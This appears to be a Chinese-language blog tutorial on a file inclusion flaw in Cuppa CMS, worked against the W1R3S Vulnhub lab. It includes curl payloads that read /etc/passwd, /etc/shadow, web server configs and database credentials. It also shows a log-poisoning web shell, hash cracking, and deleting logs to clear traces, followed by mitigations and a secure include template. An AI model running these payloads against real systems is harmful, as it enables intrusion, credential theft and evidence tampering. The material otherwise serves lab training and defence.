Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)

📅 2026/7/8 20:44:40 👁️ 阅读次数 📝 编程学习
Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)

Cuppa CMS 文件包含漏洞深度解析:从原理到实战绕过技巧

1. 漏洞背景与原理剖析

Cuppa CMS 是一款基于 PHP 的开源内容管理系统,其/alerts/alertConfigField.php文件存在严重的文件包含漏洞。该漏洞源于开发者直接使用$_REQUEST["urlConfig"]作为include()函数的参数,且未对用户输入进行任何过滤处理。

漏洞核心代码如下:

<?php include($_REQUEST["urlConfig"]); ?>

这种实现方式导致了以下安全问题:

  • 本地文件包含(LFI):通过目录遍历可读取服务器敏感文件
  • 远程文件包含(RFI):当allow_url_include开启时可执行远程恶意代码
  • PHP 伪协议利用:即使禁用 RFI 仍可通过php://filter获取源码

漏洞危害等级:高危(CVSS 3.1评分 9.8)

提示:文件包含漏洞常被用于读取配置文件、日志文件等,进而获取数据库凭证或实现权限提升。

2. 环境搭建与基础验证

2.1 实验环境准备

推荐使用以下环境进行漏洞复现:

  • 靶机:W1R3S 1.0.1 (Vulnhub)
  • 攻击机:Kali Linux 2023+
  • 网络配置:NAT模式同网段

必要工具清单

# Kali 基础工具 sudo apt install curl nmap dirsearch john -y # 可选工具 git clone https://github.com/danielmiessler/SecLists.git

2.2 基础漏洞验证

传统 GET 方式测试:

curl "http://target/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../etc/passwd"

常见失败原因分析:

  1. 路径深度不足(需要至少7级../
  2. 特殊字符被过滤或编码
  3. 服务端配置了请求方法限制

3. POST请求绕过技术详解

3.1 请求方法差异分析

通过对比GET与POST的处理逻辑差异,我们发现:

特性GET请求POST请求
参数位置URL可见请求体隐藏
长度限制约2048字符理论上无限制
数据编码URL编码多种编码可选
安全过滤通常更严格可能绕过部分WAF规则

3.2 有效Payload构造

成功读取/etc/passwd的POST请求:

curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" \ http://192.168.47.154/administrator/alerts/alertConfigField.php

关键技巧:

  • 使用绝对路径遍历(至少8级../
  • 对特殊字符进行URL编码
  • 添加随机请求头规避基础防护

3.3 敏感文件读取实战

读取Linux系统关键文件:

1. 用户账户信息

# 读取/etc/passwd curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" $TARGET # 读取/etc/shadow(需root权限) curl -X POST -d "urlConfig=../../../../../../../../../etc/shadow" $TARGET

2. Web服务器配置

# Apache配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/apache2/apache2.conf" $TARGET # Nginx配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/nginx/nginx.conf" $TARGET

3. 数据库凭证获取

# Cuppa CMS配置文件 curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php" $TARGET | base64 -d

4. 漏洞利用进阶技巧

4.1 伪协议利用

当目录遍历被限制时,PHP伪协议是绝佳的替代方案:

1. 源码泄露

curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=index.php" $TARGET | base64 -d

2. 文件包含结合日志注入

# 注入PHP代码到访问日志 curl -A "<?php system(\$_GET['cmd']); ?>" $TARGET # 包含日志文件执行代码 curl -X POST -d "urlConfig=../../../../../../../../../var/log/apache2/access.log" $TARGET

4.2 权限提升路径

通过文件包含获取敏感信息后的典型提权路径:

  1. 数据库凭证提取→ SQL注入/直接登录
  2. SSH私钥发现→ 私钥登录尝试
  3. 配置文件泄露→ 查找硬编码凭证
  4. Cron任务分析→ 寻找可写脚本

在W1R3S靶场中,通过读取shadow文件并破解哈希后,发现用户w1r3s具有sudo权限:

$ sudo -l User w1r3s may run the following commands on this host: (ALL : ALL) ALL

5. 防御方案与修复建议

5.1 临时缓解措施

对于无法立即升级的系统:

1. 输入过滤

$allowedPaths = ['config/','alerts/']; $urlConfig = $_REQUEST['urlConfig']; if(!in_array(dirname($urlConfig), $allowedPaths)){ die('Invalid path!'); }

2. 文件白名单

$allowedFiles = ['config.ini','settings.php']; if(!in_array(basename($urlConfig), $allowedFiles)){ die('File not allowed!'); }

5.2 彻底修复方案

  1. 升级到最新安全版本
  2. 禁用危险PHP函数(allow_url_include=Off
  3. 实施最小权限原则(Web用户只读权限)
  4. 部署WAF规则拦截恶意包含请求

5.3 安全开发规范

安全文件包含实现模板

<?php $baseDir = '/var/www/cuppa/'; $requestedFile = $_GET['file']; $absolutePath = realpath($baseDir . $requestedFile); // 验证路径是否在白名单内 if(strpos($absolutePath, $baseDir) !== 0){ die('非法访问!'); } // 验证文件扩展名 $allowedExt = ['php','html','txt']; $ext = pathinfo($absolutePath, PATHINFO_EXTENSION); if(!in_array($ext, $allowedExt)){ die('不支持的文件类型!'); } include($absolutePath); ?>

6. 渗透测试方法论总结

在实战渗透测试中,遇到类似漏洞时应遵循以下流程:

  1. 信息收集:识别CMS版本和已知漏洞
  2. PoC验证:测试基础漏洞是否存在
  3. 绕过尝试:变换请求方法/编码方式
  4. 权限提升:利用获取的信息扩大访问范围
  5. 痕迹清理:删除日志和临时文件

典型踩坑记录

  • 使用John破解shadow文件时,注意清除~/.john/john.pot避免重复破解
  • 某些系统对路径长度有限制,需要优化../数量
  • 不同PHP版本对伪协议的支持存在差异